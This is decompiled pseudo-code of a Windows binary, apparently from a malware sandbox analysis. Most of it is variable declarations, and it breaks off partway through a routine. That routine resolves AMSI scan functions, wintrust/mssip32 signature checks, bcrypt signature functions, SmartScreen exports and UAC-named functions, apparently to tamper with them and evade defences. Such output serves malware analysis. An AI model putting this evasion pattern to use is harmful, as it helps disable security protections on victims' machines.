				char _v1184;
				intOrPtr _v1188;
				char _v1192;
				char _v1196;
				char _v1200;
				intOrPtr _v1204;
				char _v1208;
				char _v1212;
				char _v1216;
				intOrPtr _v1220;
				char _v1224;
				char _v1228;
				char _v1232;
				intOrPtr _v1236;
				char _v1240;
				char _v1244;
				char _v1248;
				intOrPtr _v1252;
				char _v1256;
				char _v1260;
				char _v1264;
				intOrPtr _v1268;
				char _v1272;
				char _v1276;
				char _v1280;
				char _v1284;
				intOrPtr _v1288;
				char _v1292;
				char _v1296;
				char _v1300;
				intOrPtr _v1304;
				char _v1308;
				char _v1312;
				char _v1316;
				intOrPtr _v1320;
				char _v1324;
				char _v1328;
				char _v1332;
				intOrPtr _v1336;
				char _v1340;
				char _v1344;
				char _v1348;
				char _v1352;
				intOrPtr _v1356;
				char _v1360;
				char _v1364;
				char _v1368;
				intOrPtr _v1372;
				char _v1376;
				char _v1380;
				char _v1384;
				intOrPtr _v1388;
				char _v1392;
				char _v1396;
				char _v1400;
				intOrPtr _v1404;
				char _v1408;
				char _v1412;
				char _v1416;
				char _v1420;
				char _v1424;
				intOrPtr _v1428;
				char _v1432;
				char _v1436;
				char _v1440;
				intOrPtr _v1444;
				char _v1448;
				char _v1452;
				char _v1456;
				intOrPtr _v1460;
				char _v1464;
				char _v1468;
				char _v1472;
				intOrPtr _v1476;
				char _v1480;
				char _v1484;
				char _v1488;
				intOrPtr _v1492;
				char _v1496;
				char _v1500;
				char _v1504;
				intOrPtr _v1508;
				char _v1512;
				char _v1516;
				char _v1520;
				char _v1524;
				intOrPtr _v1528;
				char _v1532;
				char _v1536;
				char _v1540;
				intOrPtr _v1544;
				char _v1548;
				char _v1552;
				char _v1556;
				char _v1560;
				intOrPtr _v1564;
				char _v1568;
				char _v1572;
				char _v1576;
				intOrPtr _v1580;
				char _v1584;
				char _v1588;
				char _v1592;
				intOrPtr _v1596;
				char _v1600;
				char _v1604;
				char _v1608;
				intOrPtr _v1612;
				char _v1616;
				char _v1620;
				char _v1624;
				intOrPtr _v1628;
				char _v1632;
				char _v1636;
				char _v1640;
				intOrPtr _v1644;
				char _v1648;
				char _v1652;
				char _v1656;
				intOrPtr _v1660;
				char _v1664;
				intOrPtr _v1668;
				char _v1672;
				char _v1676;
				char _v1680;
				intOrPtr _v1684;
				char _v1688;
				char _v1692;
				char _v1696;
				intOrPtr _v1700;
				char _v1704;
				char _v1708;
				intOrPtr _v1712;
				char _v1716;
				intOrPtr _v1720;
				char _v1724;
				char _v1728;
				char _v1732;
				intOrPtr _v1736;
				char _v1740;
				char _v1744;
				char _v1748;
				intOrPtr _v1752;
				char _v1756;
				char _v1760;
				char _v1764;
				intOrPtr _v1768;
				char _v1772;
				char _v1776;
				char _v1780;
				intOrPtr _v1784;
				char _v1788;
				char _v1792;
				intOrPtr _v1796;
				char _v1800;
				intOrPtr _v1804;
				char _v1808;
				char _v1812;
				char _v1816;
				intOrPtr _v1820;
				char _v1824;
				char _v1828;
				char _v1832;
				intOrPtr _v1836;
				char _v1840;
				char _v1844;
				char _v1848;
				intOrPtr _v1852;
				char _v1856;
				char _v1860;
				char _v1864;
				intOrPtr _v1868;
				char _v1872;
				char _v1876;
				char _v1880;
				char _v1884;
				char _v1888;
				char _v1892;
				intOrPtr _v1896;
				char _v1900;
				char _v1904;
				char _v1908;
				intOrPtr _v1912;
				char _v1916;
				char _v1920;
				char _v1924;
				intOrPtr _v1928;
				char _v1932;
				char _v1936;
				char _v1940;
				intOrPtr _v1944;
				char _v1948;
				char _v1952;
				char _v1956;
				intOrPtr _v1960;
				char _v1964;
				char _v1968;
				char _v1972;
				intOrPtr _v1976;
				char _v1980;
				char _v1984;
				char _v1988;
				intOrPtr _v1992;
				char _v1996;
				char _v2000;
				char _v2004;
				intOrPtr _v2008;
				char _v2012;
				char _v2016;
				void* _v2020;
				char _v2024;
				char _v2028;
				char _v2032;
				intOrPtr _v2036;
				char _v2040;
				char _v2044;
				char _v2048;
				intOrPtr _v2052;
				char _v2056;
				char _v2060;
				char _v2064;
				char _v2068;
				char _v2072;
				intOrPtr _v2076;
				char _v2080;
				char _v2084;
				char _v2088;
				intOrPtr _v2092;
				char _v2096;
				char _v2100;
				char _v2104;
				intOrPtr _v2108;
				char _v2204;
				intOrPtr _v2208;
				char _v2212;
				char _v2216;
				char _v2220;
				intOrPtr _v2224;
				char _v2228;
				char _v2232;
				char _v2236;
				char _v2240;
				intOrPtr _v2244;
				char _v2248;
				char _v2252;
				char _v2256;
				intOrPtr _v2260;
				char _v2264;
				char _v2268;
				char _v2272;
				intOrPtr _v2276;
				char _v2280;
				char _v2284;
				char _v2288;
				char _v2292;
				intOrPtr _v2296;
				char _v2300;
				char _v2304;
				char _v2308;
				intOrPtr _v2312;
				char _v2316;
				char _v2320;
				char _v2324;
				intOrPtr _v2328;
				char _v2332;
				char _v2336;
				char _v2340;
				char _v2344;
				char _v2348;
				intOrPtr _v2352;
				char _v2356;
				char _v2360;
				char _v2364;
				intOrPtr _v2368;
				char _v2372;
				char _v2376;
				char _v2380;
				intOrPtr _v2384;
				char _v2388;
				char _v2392;
				char _v2396;
				intOrPtr _v2400;
				char _v2404;
				intOrPtr _v2408;
				char _v2412;
				char _v2416;
				char _v2420;
				char _v2424;
				intOrPtr _v2428;
				char _v2432;
				char _v2436;
				char _v2440;
				intOrPtr _v2444;
				char _v2448;
				char _v2452;
				char _v2456;
				intOrPtr _v2460;
				char _v2464;
				char _v2468;
				char _v2472;
				char _v2476;
				intOrPtr _v2480;
				char _v2484;
				char _v2488;
				char _v2492;
				intOrPtr _v2496;
				char _v2548;
				char _v2552;
				char _v2556;
				char _v2560;
				char _v2632;
				char _v2664;
				char _v2668;
				char _v2672;
				char _v2676;
				char _v2776;
				char _v2780;
				char _v2784;
				char _v2788;
				char _v2940;
				char _v2944;
				char _v2948;
				char _v2952;
				char _v3032;
				char _v3084;
				char _v3404;
				char _v3428;
				char _v3460;
				char _v3472;
				char _v3476;
				intOrPtr _v3480;
				char _v3484;
				char _v3488;
				char _v3492;
				intOrPtr _v3496;
				char _v3500;
				char _v3504;
				char _v3508;
				intOrPtr _v3512;
				char _v3516;
				char _v3520;
				char _v3524;
				intOrPtr _v3528;
				char _v3532;
				char _v3536;
				char _v3540;
				intOrPtr _v3544;
				char _v3548;
				char _v3552;
				char _v3556;
				intOrPtr _v3560;
				char _v3564;
				char _v3568;
				char _v3572;
				intOrPtr _v3576;
				char _v3580;
				char _v3584;
				char _v3588;
				char _v3592;
				intOrPtr _v3596;
				char _v3600;
				char _v3604;
				char _v3608;
				char _v3612;
				intOrPtr _v3616;
				char _v3620;
				char _v3624;
				char _v3628;
				intOrPtr _v3632;
				char _v3636;
				char _v3640;
				char _v3644;
				intOrPtr _v3648;
				char _v3652;
				char _v3656;
				char _v3660;
				intOrPtr _v3664;
				char _v3668;
				char _v3672;
				char _v3676;
				intOrPtr _v3680;
				char _v3684;
				char _v3688;
				char _v3692;
				intOrPtr _v3696;
				char _v3700;
				char _v3704;
				char _v3708;
				intOrPtr _v3712;
				char _v3716;
				char _v3720;
				char _v3724;
				intOrPtr _v3728;
				char _v3732;
				char _v3736;
				char _v3740;
				intOrPtr _v3744;
				char _v3748;
				char _v3752;
				char _v3756;
				intOrPtr _v3760;
				char _v3764;
				char _v3768;
				char _v3772;
				intOrPtr _v3776;
				char _v3780;
				char _v3784;
				char _v3788;
				intOrPtr _v3792;
				char _v3796;
				char _v3800;
				char _v3804;
				intOrPtr _v3808;
				char _v3812;
				char _v3816;
				char _v3820;
				intOrPtr _v3824;
				char _v3828;
				char _v3832;
				char _v3868;
				intOrPtr _v3872;
				char _v3876;
				char _v3880;
				char _v3884;
				intOrPtr _v3888;
				char _v3892;
				char _v3896;
				char _v3900;
				intOrPtr _v3904;
				char _v3908;
				char _v3912;
				char _v3916;
				intOrPtr _v3920;
				char _v3924;
				char _v3928;
				char _v3932;
				intOrPtr _v3936;
				char _v3940;
				char _v3944;
				char _v3948;
				intOrPtr _v3952;
				char _v3956;
				char _v3960;
				char _v3964;
				intOrPtr _v3968;
				char _v3972;
				char _v3976;
				char _v3980;
				intOrPtr _v3984;
				char _v3988;
				char _v3992;
				char _v3996;
				intOrPtr _v4000;
				char _v4004;
				char _v4008;
				char _v4012;
				char _v4016;
				char _v4020;
				intOrPtr _v4024;
				char _v4028;
				char _v4032;
				char _v4036;
				intOrPtr _v4040;
				char _v4044;
				char _v4048;
				char _v4052;
				intOrPtr _v4056;
				char _v4060;
				char _v4064;
				char _v4068;
				intOrPtr _v4072;
				char _v4076;
				char _v4080;
				char _v4084;
				char _v4088;
				char _v4092;
				char _v4096;
				char _v4100;
				intOrPtr _v4104;
				char _v4108;
				char _v4112;
				char _v4116;
				intOrPtr _v4120;
				char _v4124;
				char _v4128;
				char _v4132;
				intOrPtr _v4136;
				char _v4140;
				char _v4144;
				char _v4148;
				intOrPtr _v4152;
				char _v4156;
				char _v4160;
				char _v4164;
				intOrPtr _v4168;
				char _v4172;
				char _v4176;
				char _v4180;
				intOrPtr _v4184;
				char _v4188;
				char _v4192;
				char _v4196;
				intOrPtr _v4200;
				char _v4204;
				char _v4208;
				char _v4212;
				intOrPtr _v4216;
				char _v4220;
				char _v4224;
				char _v4228;
				intOrPtr _v4232;
				char _v4236;
				char _v4240;
				intOrPtr _v4244;
				char _v4248;
				char _v4252;
				intOrPtr _v4256;
				char _v4260;
				char _v4264;
				char _v4268;
				intOrPtr _v4272;
				char _v4276;
				char _v4280;
				char _v4284;
				intOrPtr _v4288;
				char _v4292;
				char _v4296;
				char _v4300;
				intOrPtr _v4304;
				char _v4308;
				char _v4312;
				char _v4316;
				intOrPtr _v4320;
				char _v4324;
				char _v4328;
				char _v4332;
				char _v4336;
				intOrPtr _v4340;
				char _v4344;
				char _v4348;
				char _v4352;
				intOrPtr _v4356;
				char _v4360;
				char _v4364;
				char _v4368;
				char _v4372;
				char _v4376;
				char _v4380;
				intOrPtr _v4384;
				char _v4388;
				char _v4392;
				char _v4396;
				intOrPtr _v4400;
				char _v4404;
				char _v4408;
				char _v4412;
				intOrPtr _v4416;
				char _v4420;
				char _v4424;
				char _v4428;
				intOrPtr _v4432;
				char _v4436;
				char _v4440;
				char _v4444;
				intOrPtr _v4448;
				char _v4452;
				char _v4456;
				char _v4460;
				intOrPtr _v4464;
				char _v4468;
				char _v4472;
				char _v4476;
				char _v4480;
				char _v4484;
				char _v4488;
				char _v4492;
				char _v4496;
				char _v4500;
				intOrPtr _v4504;
				char _v4508;
				char _v4512;
				char _v4516;
				intOrPtr _v4520;
				char _v4524;
				char _v4528;
				char _v4532;
				char _v4536;
				char _v4540;
				char _v4544;
				char _v4548;
				char _v4552;
				char _v4556;
				char _v4560;
				char _v4564;
				char _v4568;
				char _v4572;
				char _v4576;
				char _v4580;
				char _v4584;
				char _v4588;
				char _v4592;
				char _v4596;
				char _v4600;
				char _v4604;
				intOrPtr _v4608;
				char _v4612;
				char _v4616;
				char _v4620;
				intOrPtr _v4624;
				char _v4628;
				char _v4632;
				char _v4636;
				intOrPtr _v4640;
				char _v4644;
				char _v4648;
				char _v4652;
				char _v4656;
				char _v4660;
				char _v4664;
				char _v4668;
				char _v4672;
				char _v4676;
				char _v4680;
				char _v4684;
				char _v4688;
				char _v4692;
				char _v4696;
				char _v4700;
				char _v4704;
				char _v4708;
				char _v4712;
				char _v4716;
				char _v4720;
				char _v4724;
				char _v4728;
				char _v4732;
				char _v4736;
				char _v4740;
				char _v4744;
				char _v4748;
				char _v4752;
				char _v4756;
				char _v4760;
				char _v4764;
				char _v4768;
				char _v4772;
				char _v4776;
				char _v4780;
				char _v4784;
				char _v4788;
				char _v4792;
				char _v4796;
				char _v4800;
				char _v4804;
				char _v4808;
				char _v4812;
				char _v4816;
				char _v4820;
				char _v4824;
				char _v4828;
				char _v4832;
				char _v4836;
				char _v4840;
				char _v4844;
				intOrPtr _v4848;
				char _v4852;
				char _v4856;
				char _v4860;
				intOrPtr _v4864;
				char _v4868;
				char _v4872;
				char _v4876;
				intOrPtr _v4880;
				char _v4884;
				char _v4888;
				intOrPtr _t2316;
				void* _t2321;
				intOrPtr _t2400;
				intOrPtr _t2478;
				void* _t2479;
				_Unknown_base(*)()* _t2508;
				_Unknown_base(*)()* _t2509;
				intOrPtr _t2703;
				void* _t2704;
				intOrPtr _t2705;
				intOrPtr _t2765;
				intOrPtr _t2827;
				intOrPtr _t2939;
				_Unknown_base(*)()* _t2973;
				intOrPtr _t2974;
				intOrPtr _t3032;
				intOrPtr _t3062;
				intOrPtr _t3108;
				void* _t3109;
				intOrPtr _t3110;
				intOrPtr _t3156;
				intOrPtr _t3204;
				intOrPtr _t3248;
				intOrPtr _t3334;
				intOrPtr _t3336;
				intOrPtr _t3808;
				intOrPtr _t3857;
				_Unknown_base(*)()* _t3858;
				void* _t3902;
				intOrPtr _t3903;
				WCHAR* _t4023;
				void* _t4024;
				int _t4025;
				_Unknown_base(*)()* _t4054;
				void* _t4087;
				_Unknown_base(*)()* _t4103;
				void* _t4104;
				void* _t4134;
				void* _t4178;
				void* _t4180;
				void* _t4182;
				void* _t4184;
				void* _t4186;
				void* _t4188;
				void* _t4190;
				void* _t4192;
				void* _t4194;
				intOrPtr _t4299;
				_Unknown_base(*)()* _t4405;
				intOrPtr _t4407;
				intOrPtr* _t4451;
				void* _t4452;
				intOrPtr _t4453;
				intOrPtr _t4511;
				intOrPtr _t4512;
				intOrPtr _t4515;
				_Unknown_base(*)()* _t4523;
				_Unknown_base(*)()* _t4541;
				intOrPtr* _t4591;
				intOrPtr* _t4612;
				intOrPtr _t4615;
				intOrPtr* _t4940;
				intOrPtr* _t4943;
				intOrPtr* _t4951;
				intOrPtr* _t4987;
				intOrPtr* _t5022;
				intOrPtr _t5025;
				intOrPtr _t5055;
				intOrPtr _t5090;
				void* _t5091;
				intOrPtr _t5092;
				intOrPtr _t5180;
				_Unknown_base(*)()* _t5181;
				_Unknown_base(*)()* _t5360;
				_Unknown_base(*)()* _t5361;
				intOrPtr _t5418;
				_Unknown_base(*)()* _t5422;
				intOrPtr _t5535;
				_Unknown_base(*)()* _t5627;
				_Unknown_base(*)()* _t5628;
				void* _t5630;
				intOrPtr _t5631;
				intOrPtr _t5632;
				intOrPtr _t5633;
				intOrPtr _t5634;
				intOrPtr _t5635;
				intOrPtr _t5636;
				intOrPtr _t5637;
				intOrPtr _t5638;
				intOrPtr _t5639;
				intOrPtr _t5640;
				intOrPtr _t5641;
				intOrPtr _t5642;
				intOrPtr _t5643;
				intOrPtr _t5644;
				intOrPtr _t5645;
				intOrPtr _t5646;
				intOrPtr _t5647;
				intOrPtr _t5648;
				intOrPtr _t5649;
				intOrPtr _t5650;
				intOrPtr _t5651;
				intOrPtr _t5652;
				intOrPtr _t5654;
				intOrPtr _t5655;
				intOrPtr _t5656;
				intOrPtr _t5657;
				intOrPtr _t5658;
				intOrPtr _t5659;
				intOrPtr _t5660;
				intOrPtr _t5661;
				intOrPtr _t5664;
				intOrPtr _t5665;
				intOrPtr _t5666;
				intOrPtr _t5667;
				intOrPtr _t5669;
				intOrPtr _t5670;
				intOrPtr _t5671;
				intOrPtr _t5672;
				intOrPtr _t5673;
				intOrPtr _t5674;
				intOrPtr _t5675;
				intOrPtr _t5676;
				intOrPtr _t5678;
				intOrPtr _t5679;
				intOrPtr _t5680;
				intOrPtr _t5681;
				intOrPtr _t5682;
				intOrPtr _t5683;
				intOrPtr _t5684;
				intOrPtr _t5685;
				intOrPtr _t5686;
				intOrPtr _t5689;
				intOrPtr _t5690;
				intOrPtr _t5691;
				intOrPtr _t5692;
				intOrPtr _t5693;
				intOrPtr _t5694;
				intOrPtr _t5696;
				intOrPtr _t5697;
				intOrPtr _t5698;
				intOrPtr _t5700;
				intOrPtr _t5701;
				intOrPtr _t5702;
				intOrPtr _t5703;
				intOrPtr _t5704;
				intOrPtr _t5705;
				intOrPtr _t5706;
				intOrPtr _t5707;
				intOrPtr _t5708;
				intOrPtr _t5709;
				intOrPtr _t5710;
				intOrPtr _t5711;
				intOrPtr _t5712;
				intOrPtr _t5713;
				intOrPtr _t5714;
				intOrPtr _t5715;
				intOrPtr _t5716;
				intOrPtr _t5717;
				intOrPtr _t5718;
				intOrPtr _t5719;
				intOrPtr _t5720;
				intOrPtr _t5721;
				intOrPtr _t5722;
				intOrPtr _t5723;
				intOrPtr _t5724;
				intOrPtr _t5725;
				intOrPtr _t5726;
				intOrPtr _t5728;
				intOrPtr _t5729;
				intOrPtr _t5730;
				intOrPtr _t5731;
				intOrPtr _t5732;
				intOrPtr _t5733;
				intOrPtr _t5734;
				intOrPtr _t5735;
				intOrPtr _t5736;
				intOrPtr _t5737;
				intOrPtr _t5739;
				intOrPtr _t5740;
				intOrPtr _t5741;
				intOrPtr _t5742;
				intOrPtr _t5743;
				intOrPtr _t5744;
				intOrPtr _t5745;
				intOrPtr _t5746;
				intOrPtr _t5748;
				intOrPtr _t5749;
				intOrPtr _t5751;
				intOrPtr _t5752;
				intOrPtr _t5753;
				intOrPtr _t5754;
				intOrPtr _t5755;
				intOrPtr _t5756;
				intOrPtr _t5765;
				intOrPtr _t5766;
				intOrPtr _t5767;
				intOrPtr _t5768;
				intOrPtr _t5769;
				intOrPtr _t5770;
				intOrPtr _t5771;
				intOrPtr _t5772;
				intOrPtr _t5773;
				intOrPtr _t5774;
				intOrPtr _t5775;
				intOrPtr _t5776;
				intOrPtr _t5777;
				intOrPtr _t5778;
				intOrPtr _t5779;
				_Unknown_base(*)()* _t5780;
				intOrPtr _t5781;
				intOrPtr _t5782;
				intOrPtr _t5783;
				intOrPtr _t5787;
				intOrPtr _t5788;
				intOrPtr _t5789;
				intOrPtr _t5790;
				_Unknown_base(*)()* _t5793;
				intOrPtr _t5794;
				intOrPtr _t5795;
				intOrPtr _t5796;
				intOrPtr _t5797;
				intOrPtr _t5799;
				intOrPtr _t5803;
				intOrPtr _t5804;
				intOrPtr _t5805;
				intOrPtr _t5806;
				intOrPtr _t5807;
				intOrPtr _t5808;
				intOrPtr _t5809;
				intOrPtr _t5810;
				intOrPtr _t5811;
				intOrPtr _t5812;
				intOrPtr _t5813;
				intOrPtr _t5814;
				intOrPtr _t5815;
				intOrPtr _t5816;
				intOrPtr _t5817;
				intOrPtr _t5818;
				intOrPtr _t5819;
				intOrPtr _t5820;
				intOrPtr _t5821;
				intOrPtr _t5822;
				intOrPtr _t5823;
				intOrPtr _t5828;
				intOrPtr _t5829;
				intOrPtr _t5832;
				intOrPtr _t5833;
				intOrPtr _t5837;
				intOrPtr _t5838;
				intOrPtr _t5839;
				intOrPtr _t5840;
				intOrPtr _t5842;
				intOrPtr _t5843;
				intOrPtr _t5844;
				intOrPtr _t5845;
				intOrPtr _t5846;
				intOrPtr _t5847;
				intOrPtr _t5848;
				intOrPtr _t5849;
				intOrPtr _t5850;
				intOrPtr _t5851;
				intOrPtr _t5852;
				intOrPtr _t5853;
				intOrPtr _t5854;
				intOrPtr _t5855;
				intOrPtr _t5856;
				intOrPtr _t5857;
				intOrPtr _t5858;
				intOrPtr _t5859;
				intOrPtr _t5860;
				intOrPtr _t5861;
				intOrPtr _t5862;
				intOrPtr _t5863;
				intOrPtr _t5864;
				intOrPtr _t5865;
				intOrPtr _t5866;
				intOrPtr _t5867;
				intOrPtr _t5868;
				intOrPtr _t5869;
				intOrPtr _t5870;
				intOrPtr _t5871;
				intOrPtr _t5872;
				intOrPtr _t5873;
				intOrPtr _t5874;
				intOrPtr _t5875;
				intOrPtr _t5876;
				intOrPtr _t5877;
				void* _t5883;
				void* _t5888;
				void* _t5893;
				void* _t5896;
				void* _t5899;
				void* _t5902;
				void* _t5905;
				void* _t5908;
				void* _t5911;
				void* _t5914;
				void* _t5917;
				void* _t5920;
				void* _t5923;
				void* _t5926;
				void* _t5929;
				void* _t5934;
				void* _t5939;
				void* _t5944;
				void* _t5949;
				void* _t5956;
				void* _t5962;
				void* _t5970;
				void* _t5975;
				void* _t5980;
				void* _t5985;
				void* _t5991;
				void* _t5996;
				void* _t6001;
				void* _t6007;
				void* _t6013;
				void* _t6018;
				intOrPtr _t6019;
				void* _t6026;
				void* _t6031;
				void* _t6038;
				void* _t6043;
				void* _t6048;
				void* _t6057;
				void* _t6062;
				void* _t6067;
				void* _t6072;
				intOrPtr _t6073;
				intOrPtr _t6100;
				intOrPtr _t6107;
				void* _t6119;
				void* _t6124;
				void* _t6129;
				void* _t6134;
				void* _t6141;
				void* _t6146;
				void* _t6151;
				void* _t6156;
				void* _t6163;
				void* _t6168;
				void* _t6173;
				void* _t6178;
				intOrPtr _t6179;
				void* _t6186;
				void* _t6191;
				void* _t6196;
				void* _t6201;
				void* _t6230;
				void* _t6235;
				void* _t6241;
				void* _t6246;
				void* _t6252;
				void* _t6257;
				void* _t6262;
				void* _t6267;
				void* _t6273;
				void* _t6278;
				intOrPtr _t6279;
				void* _t6285;
				void* _t6290;
				void* _t6295;
				void* _t6302;
				void* _t6307;
				void* _t6312;
				void* _t6320;
				void* _t6325;
				void* _t6330;
				void* _t6336;
				void* _t6341;
				void* _t6346;
				void* _t6352;
				void* _t6357;
				void* _t6362;
				void* _t6367;
				void* _t6372;
				void* _t6377;
				void* _t6384;
				void* _t6389;
				void* _t6394;
				void* _t6397;
				void* _t6402;
				void* _t6407;
				void* _t6412;
				void* _t6415;
				void* _t6418;
				void* _t6421;
				void* _t6424;
				void* _t6427;
				void* _t6430;
				void* _t6433;
				void* _t6436;
				void* _t6439;
				void* _t6460;
				void* _t6465;
				void* _t6470;
				void* _t6473;
				void* _t6476;
				void* _t6479;
				void* _t6482;
				void* _t6485;
				void* _t6488;
				void* _t6491;
				void* _t6494;
				void* _t6497;
				void* _t6500;
				void* _t6503;
				void* _t6506;
				void* _t6509;
				void* _t6512;
				void* _t6515;
				void* _t6518;
				void* _t6521;
				void* _t6524;
				void* _t6527;
				void* _t6530;
				void* _t6533;
				void* _t6536;
				void* _t6539;
				void* _t6542;
				void* _t6547;
				void* _t6552;
				void* _t6557;
				void* _t6563;
				void* _t6568;
				void* _t6576;
				void* _t6581;
				void* _t6586;
				void* _t6591;
				void* _t6596;
				void* _t6601;
				void* _t6607;
				void* _t6612;
				void* _t6619;
				void* _t6624;
				intOrPtr _t6625;
				intOrPtr _t6626;
				void* _t6628;
				void* _t6633;
				void* _t6638;
				void* _t6643;
				void* _t6650;
				void* _t6655;
				void* _t6661;
				void* _t6666;
				void* _t6672;
				void* _t6677;
				void* _t6682;
				void* _t6687;
				void* _t6692;
				void* _t6697;
				void* _t6710;
				void* _t6715;
				void* _t6720;
				void* _t6725;
				void* _t6730;
				void* _t6735;
				void* _t6741;
				void* _t6748;
				void* _t6753;
				void* _t6758;
				void* _t6763;
				void* _t6770;
				void* _t6775;
				void* _t6780;
				void* _t6785;
				void* _t6790;
				void* _t6795;
				intOrPtr _t6797;
				void* _t6802;
				void* _t6807;
				void* _t6812;
				void* _t6817;
				intOrPtr _t6818;
				void* _t6825;
				void* _t6831;
				void* _t6836;
				void* _t6841;
				void* _t6849;
				intOrPtr _t6853;
				void* _t6860;
				void* _t6865;
				void* _t6870;
				void* _t6877;
				void* _t6882;
				void* _t6887;
				void* _t6892;
				void* _t6897;
				void* _t6904;
				void* _t6909;
				void* _t6914;
				void* _t6919;
				void* _t6924;
				intOrPtr _t6925;
				intOrPtr _t6926;
				void* _t6928;
				void* _t6933;
				void* _t6938;
				void* _t6943;
				void* _t6948;
				void* _t6953;
				void* _t6958;
				void* _t6964;
				void* _t6969;
				void* _t6980;
				void* _t6985;
				void* _t6993;
				void* _t6998;
				intOrPtr _t7002;
				void* _t7007;
				void* _t7012;
				void* _t7018;
				void* _t7023;
				void* _t7030;
				void* _t7035;
				void* _t7040;
				void* _t7045;
				void* _t7050;
				void* _t7055;
				void* _t7061;
				void* _t7066;
				void* _t7071;
				void* _t7076;
				void* _t7083;
				void* _t7088;
				void* _t7093;
				void* _t7098;
				void* _t7103;
				void* _t7108;
				void* _t7114;
				void* _t7119;
				void* _t7124;
				void* _t7129;
				void* _t7134;
				void* _t7139;
				void* _t7146;
				void* _t7151;
				void* _t7156;
				void* _t7161;
				void* _t7166;
				void* _t7171;
				void* _t7176;
				void* _t7181;
				void* _t7186;
				void* _t7191;
				void* _t7196;
				void* _t7201;
				void* _t7206;
				void* _t7211;
				intOrPtr _t7212;
				void* _t7214;
				void* _t7215;
				intOrPtr _t7217;
				intOrPtr _t7218;
				void* _t7235;

				_t7235 = __fp0;
				_t7215 = __esi;
				_t7214 = __edi;
				_t7217 = _t7218;
				_t5630 = 0x262;
				do {
					_push(0);
					_push(0);
					_t5630 = _t5630 - 1;
				} while (_t5630 != 0);
				_push(_t5630);
				_push(__ebx);
				_push(_t7217);
				_push(0x2cd6bde);
				_push( *[fs:eax]);
				 *[fs:eax] = _t7218;
				_push(0x8ae); // executed
				L02CC7B0C(); // executed
				if(0 == 0) {
					E02CB44F4(0x2de28a0, 0x2cd6c08);
				} else {
					E02CB44F4(0x2de28a0, 0x2cd6bf8);
				}
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanString");
				E02CB4824();
				E02CB4698( &_v8, E02CB4964(_v12));
				_push(_v8);
				_t5631 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v20, _t5631, 0x2cd6c14);
				E02CB4698( &_v16, E02CB4964(_v20));
				_pop(_t5883); // executed
				E02CC7B74(_v16, _t5883); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("OpenSession");
				E02CB4824();
				E02CB4698( &_v24, E02CB4964(_v28));
				_push(_v24);
				_t5632 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v36, _t5632, 0x2cd6c14);
				E02CB4698( &_v32, E02CB4964(_v36));
				_pop(_t5888); // executed
				E02CC7B74(_v32, _t5888); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanBuffer");
				E02CB4824();
				E02CB4698( &_v40, E02CB4964(_v44));
				_push(_v40);
				_t5633 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v52, _t5633, 0x2cd6c14);
				E02CB4698( &_v48, E02CB4964(_v52));
				_pop(_t5893); // executed
				E02CC7B74(_v48, _t5893); // executed
				E02CB4698( &_v56, "TrustOpenStores");
				_push(_v56);
				E02CB4698( &_v60, "wintrust");
				_pop(_t5896); // executed
				E02CC7B74(_v60, _t5896); // executed
				E02CB4698( &_v64, "WintrustAddActionID");
				_push(_v64);
				E02CB4698( &_v68, "wintrust");
				_pop(_t5899); // executed
				E02CC7B74(_v68, _t5899); // executed
				E02CB4698( &_v72, "FindCertsByIssuer");
				_push(_v72);
				E02CB4698( &_v76, "wintrust");
				_pop(_t5902); // executed
				E02CC7B74(_v76, _t5902); // executed
				E02CB4698( &_v80, "CryptSIPGetInfo");
				_push(_v80);
				E02CB4698( &_v84, "mssip32");
				_pop(_t5905); // executed
				E02CC7B74(_v84, _t5905); // executed
				E02CB4698( &_v88, "CryptSIPVerifyIndirectData");
				_push(_v88);
				E02CB4698( &_v92, "mssip32");
				_pop(_t5908); // executed
				E02CC7B74(_v92, _t5908); // executed
				E02CB4698( &_v96, "CryptSIPGetSignedDataMsg");
				_push(_v96);
				E02CB4698( &_v100, "mssip32");
				_pop(_t5911); // executed
				E02CC7B74(_v100, _t5911); // executed
				E02CB4698( &_v104, "BCryptVerifySignature");
				_push(_v104);
				E02CB4698( &_v108, "bcrypt");
				_pop(_t5914); // executed
				E02CC7B74(_v108, _t5914); // executed
				E02CB4698( &_v112, "BCryptQueryProviderRegistration");
				_push(_v112);
				E02CB4698( &_v116, "bcrypt");
				_pop(_t5917); // executed
				E02CC7B74(_v116, _t5917); // executed
				E02CB4698( &_v120, "BCryptRegisterProvider");
				_push(_v120);
				E02CB4698( &_v124, "bcrypt");
				_pop(_t5920);
				E02CC7B74(_v124, _t5920);
				E02CB4698( &_v128, "DllGetClassObject");
				_push(_v128);
				E02CB4698( &_v132, "smartscreenps");
				_pop(_t5923); // executed
				E02CC7B74(_v132, _t5923); // executed
				E02CB4698( &_v136, "DllGetActivationFactory");
				_push(_v136);
				E02CB4698( &_v140, "smartscreenps");
				_pop(_t5926); // executed
				E02CC7B74(_v140, _t5926); // executed
				E02CB4698( &_v144, "DllRegisterServer");
				_push(_v144);
				E02CB4698( &_v148, "smartscreenps");
				_pop(_t5929); // executed
				E02CC7B74(_v148, _t5929); // executed
				E02CB2EE0();
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("Initialize");
				E02CB4824();
				E02CB4698( &_v152, E02CB4964(_v156));
				_push(_v152);
				_t5634 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v164, _t5634, 0x2cd6c14);
				E02CB4698( &_v160, E02CB4964(_v164));
				_pop(_t5934); // executed
				E02CC7B74(_v160, _t5934); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("UacScan");
				E02CB4824();
				E02CB4698( &_v168, E02CB4964(_v172));
				_push(_v168);
				_t5635 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v180, _t5635, 0x2cd6c14);
				E02CB4698( &_v176, E02CB4964(_v180));
				_pop(_t5939); // executed
				E02CC7B74(_v176, _t5939); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("UacInitialize");
				E02CB4824();
				E02CB4698( &_v184, E02CB4964(_v188));
				_push(_v184);
				_t5636 =  *0x2de28a0; // 0xeca1b38
				E02CB47B0( &_v196, _t5636, 0x2cd6c14);
				E02CB4698( &_v192, E02CB4964(_v196));
				_pop(_t5944); // executed
				E02CC7B74(_v192, _t5944); // executed
				_push(0x2cd6c14);
				_push( *0x2de28a0);
				_push("ScanBuffer");
